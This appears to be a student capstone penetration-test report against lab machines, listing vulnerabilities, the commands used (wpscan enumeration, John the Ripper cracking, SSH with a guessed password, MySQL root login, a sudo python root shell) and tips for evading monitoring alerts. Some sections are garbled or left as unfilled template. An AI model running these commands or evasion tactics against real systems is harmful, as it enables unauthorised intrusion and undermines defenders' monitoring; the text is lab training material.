# Network Topology & Critical Vulnerabilities

# Network Topology

## Network

Address Range:  
192.168.1.0/24  
Netmask:225.225.225.0  
Gateway:192.168.1.1

## Machines

IPv4: 192.168.1.90  
OS: Kali Linux  
Hostname: kali

IPv4: 192.168.1.105  
OS: Linux  
Hostname: Capstone

IPv4: 192.168.1.110  
OS: Linux  
Hostname: Target 1

IPv4: 192.168.1.115  
OS: Linux  
Hostname: Target 2

# Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
Port Scanning	Using <i>nmap -sV, -sS &amp; -sV -O</i> the attackers were able to scan the network and find all IP's and open ports on the network	Attackers use port scans to discover open doors or weak points in a network. A port scan can find open ports and figure out whether they are receiving or sending data
Wordpress User Enumeration	Using <i>wpscan</i> we utilized it to gain username information. The username info was used by the attackers to help gain access to the web server	Allows attacker to gather usernames to gain access to the web server
MySQL Database Access	We were able to discover a file containing login information for the MySQL database. Able to use the login information to gain access to the MySQL database	We are able to figure out the Hashed passwords and user list.
Misconfiguration of User Privileges/Privilege Escalation	We noticed that Steven had sudo privileges for python. Able to utilize Steven's python privileges in order to escalate to root	Immediately exalted to root privileges

# Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
Weak Passwords	We were able to find passwords using dictionary brute force against web form	Allowed attacker to gain access to protected web directories
Open rpcbind port <a href="#">CVE-2017-8779</a>	Allows remote attackers to cause a denial of service (memory consumption with no subsequent free) via a crafted UDP packet to port 111, aka rpcbomb.	Allows remote attackers to cause a denial of service (memory consumption with no subsequent free) via a crafted UDP packet to port 111, aka rpcbomb. (denial of service attack)
WordPress XML- RPC Username/Password Login Scanner <a href="#">CVE-1999-0502</a>	Attempts to login to a WP-site using default or blank username and password configs	Login Access
Privilege Escalation	Used Stevens sudo Python access to escalate from 'Steven to root'	Allowed privilege escalation to root

# Critical Vulnerabilities: Target 2

---

Our assessment uncovered the following critical vulnerabilities in **Target 2**.

Vulnerability	Description	Impact
Local File Inclusion (LFI)	Used LFI to push backdoor.php listener to web server	Allows target machine communicates back to the kali machine via direct command line access
Directory Exploration	used gobuster to gain access to directories	the attackers were able to see what users had access to on Target2
Exposed Directory/Exposed Content	Plaintext information used to locate a hidden directory and other content	attacker were able to discover non listed directories for vulnerabilities
Wordpress User Enumeration		

# Exploits Used

# Exploitation: WordPress User Enumeration (Target 1)

---

Summarize the following:

- How did you exploit the vulnerability?
  - Target 1 Machine
    - `wpscan --url http://192.168.1.110/wordpress --enumerate u`
- What did the exploit achieve?
  - Finding a list of Users that we could use to SSH into the machine.

```
[i] User(s) Identified:  
  
[+] steven  
| Found By: Author Id Brute Forcing  
- Author Pattern (Aggressive Detection)  
| Confirmed By: Login Error Messages (Aggressive Detection)  
  
[+] michael  
| Found By: Author Id Brute Forcing  
- Author Pattern (Aggressive Detection)  
| Confirmed By: Login Error Messages (Aggressive Detection)
```

# Exploitation: Unprotected and Unsalted Hash

Summarize the following:

- How did you exploit the vulnerability?
  - Used JohnTheRipper to brute force the hash located within the MySQL database.
  - `john --wordlist /usr/share/wordlists/rockyou.txt wp_hashes.txt`
- What did the exploit achieve?
  - Gained the ability to ssh from Michael to Steven to gain further privileges

ID	user_login	user_pass	user_nickname	user_email	user_url	user_registered
	user_activation_key	user_status	display_name			
1	michael	\$P\$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0	michael	michael@raven.org		2018-08-12 22:49:12
2	steven	\$P\$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/	steven	steven@raven.org		2018-08-12 23:31:16
		0   michael				
		0   Steven Seagull				

pink84 (steven)

# Exploitation: Weak Passwords

---

Summarize the following:

- How did you exploit the vulnerability?
  - Guessed Michael's password [user: michael. pass: michael]
- What did the exploit achieve? E.g., did it grant you a user shell, root access, etc.?
  - The ability to access michael's account via SSH

```
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the

You have new mail.
Last login: Fri Jul 29 11:11:52 2022 from 192.168.1.90
michael@target1:~$
```

# Exploitation: Exploration of Directory

## Summarize the following:

- Using the login information for Michael we were able to look through the system with and find Flag 1 & 2.
- What did the exploit achieve?
  - We were able to have full access to the system as if we were michael.
- Include a screenshot or command output illustrating the exploit.

[illegible]

```
michael@target1:~$ cd /var/www
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

```

ny was founded in 1971, and has been providing quality doohickies to the public ever since. Lo
2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>

# Exploitation: MySQL Database Access

Summarize the following:

- How did you exploit the vulnerability?
  - We were able to locate a file containing the MySQL login info on the target machine. We then used this info to gain access to the database.
- What did the exploit achieve? E.g., did it grant you a user shell, root access, etc.?
  - The MySQL database contained several hashed passwords, one of which we were able to crack using John the Ripper.

```
michael@target1:/var/www$ mysql --host=localhost --user=root --password=R@v3nSecurity
```

```
mysql> SHOW FULL TABLES;
```

# Exploitation: Privilege Escalation [Python]

Summarize the following:

- How did you exploit the vulnerability?
  - Used sudo -l to gain information needed to perform escalation
  - Used sudo Python access to escalate to root
    - `sudo python -c 'import pty; pty.spawn("bin/bash")'`
- What did the exploit achieve?
  - Achieved root access on the machine

```

# Avoiding Detection

# Exploitation of Wordpress User Enumeration using WPSCAN

---

## Monitoring Overview

- Which alerts detect this exploit?
  - Excessive HTTP Errors
  - CPU Usage Monitor
- Which metrics do they measure?
  - `http.response.status_code` and `system.process.cpu.total.pct`
- Which thresholds do they fire at?
  - Above 400 and 0.5 respectively

## Mitigating Detection

- Are there alternative exploits that may perform better?
  - `wordpress-exploit-framework`

# Directory Traversal Using GoBuster

## Monitoring Overview

- Which alerts detect this exploit?
  - CPU Usage Monitor
  - Excessive HTTP Errors
- Which metrics do they measure?
  - system.process.cpu.total.pct and http.response.status\_code
- Which thresholds do they fire at?
  - 0.5 (50%)

## Mitigating Detection

- How can you execute the same exploit without triggering the alert?
  - Utilizing *Google Dorking* to find “invisible” directories with text documents can provide information without setting off any alarms.
  - Having a delay duration during brute forcing of directories

```
root@Kali:~# gobuster dir -u http://192.168.1.115/ -w /usr/share/wordlists/
dirbuster/directory-list-2.3-medium.txt

# MySQL Database Access Using wp-config.php info

---

## Monitoring Overview

- Which alerts detect this exploit?
  - WHEN max() OF system.process.cpu.total.pct OVER all documents IS ABOVE 0.5 FOR THE LAST 5 minutes
- Which metrics do they measure?
  - system.process.cpu.total
- Which thresholds do they fire at?
  - 0.5 and above

## Mitigating Detections.

- How can you execute the same exploit without triggering the alert?
  - We could limit our attempts and/or time spent going through the database.
- Are there alternative exploits that may perform better?
  - We could use the Metasploit framework to gain access to the MYSQL database and quickly export the necessary data, thus avoiding triggering the alert.

# Weak Password Exploitation

---

## Monitoring Overview

- Which alerts detect this exploit?
  - none
- Which metrics do they measure?
  - none
- Which thresholds do they fire at?
  - none

# Stealth Exploitation of [Name of Vulnerability 3]

---

## **Monitoring Overview**

- Which alerts detect this exploit?
- Which metrics do they measure?
- Which thresholds do they fire at?

## **Mitigating Detection**

- How can you execute the same exploit without triggering the alert?
- Are there alternative exploits that may perform better?
- If possible, include a screenshot of your stealth technique.
